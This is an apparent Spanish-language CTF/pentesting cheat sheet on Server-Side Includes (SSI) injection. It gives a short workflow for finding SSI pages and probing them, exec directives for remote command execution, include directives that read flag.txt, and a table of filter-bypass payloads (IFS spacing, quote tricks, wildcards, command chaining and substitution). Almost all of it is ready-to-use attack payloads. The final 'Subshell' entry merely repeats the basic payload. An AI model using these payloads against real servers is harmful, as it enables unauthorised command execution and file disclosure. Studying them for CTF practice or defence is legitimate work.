Skip to content

SSI

Teoria

Server‑Side Includes (SSI) consiste en que el servidor procesa directivas/plantillas incrustadas en el HTML antes de enviarnoslo. Si podeemos inyectar directivas podremos leer variables del servidor, ficheros o RCE.

Worflow

  1. Buscar extensiones

    .shtml
    .shtm
    .stm
    

  2. Mirar comentarios como

    <!--#include virtual="header.html" -->
    

  3. Probar inyecciones basicas

    <!--#echo var="DATE_LOCAL" -->
    <!--#echo var="DOCUMENT_NAME" -->
    <!--#echo var="SERVER_SOFTWARE" -->
    

  4. RCE

    <!--#exec cmd="id" -->
    

i. Leer ficheros

<!--#include virtual="/flag.txt" -->
<!--#include file="flag.txt" -->

Bypass

Payload Tipo de bypass
<!--#exec cmd="id" --> Básico / sin filtros
<!--#exec cmd='id' --> Bypass de comillas dobles
<!--#exec cmd=id --> Bypass de comillas
<!--#exec cmd="cat${IFS}flag.txt" --> Bypass de espacios (IFS)
<!--#exec cmd="cat%20flag.txt" --> URL encoding
<!--#exec cmd="c\at flag.txt" --> Escape de caracteres
<!--#exec cmd="cat fl*" --> Wildcards
<!--#include file="flag.txt" --> Bypass sin ejecución de comandos
<!--#include virtual="/flag.txt" --> Bypass de rutas
<!--#echo var="DOCUMENT_ROOT" --> Bypass sin exec
<!--#echo var="SERVER_SOFTWARE" --> Enumeración sin RCE
<!--#exec cmd="sh -c 'id'" --> Wrapper de shell
<!--#exec cmd="/bin/sh -c id" --> Bypass de blacklist id
<!--#exec cmd="groups;id" --> Command chaining
<!--#exec cmd="id" --> Subshell
<!--#exec cmd="$(id)" --> Sustitución de comandos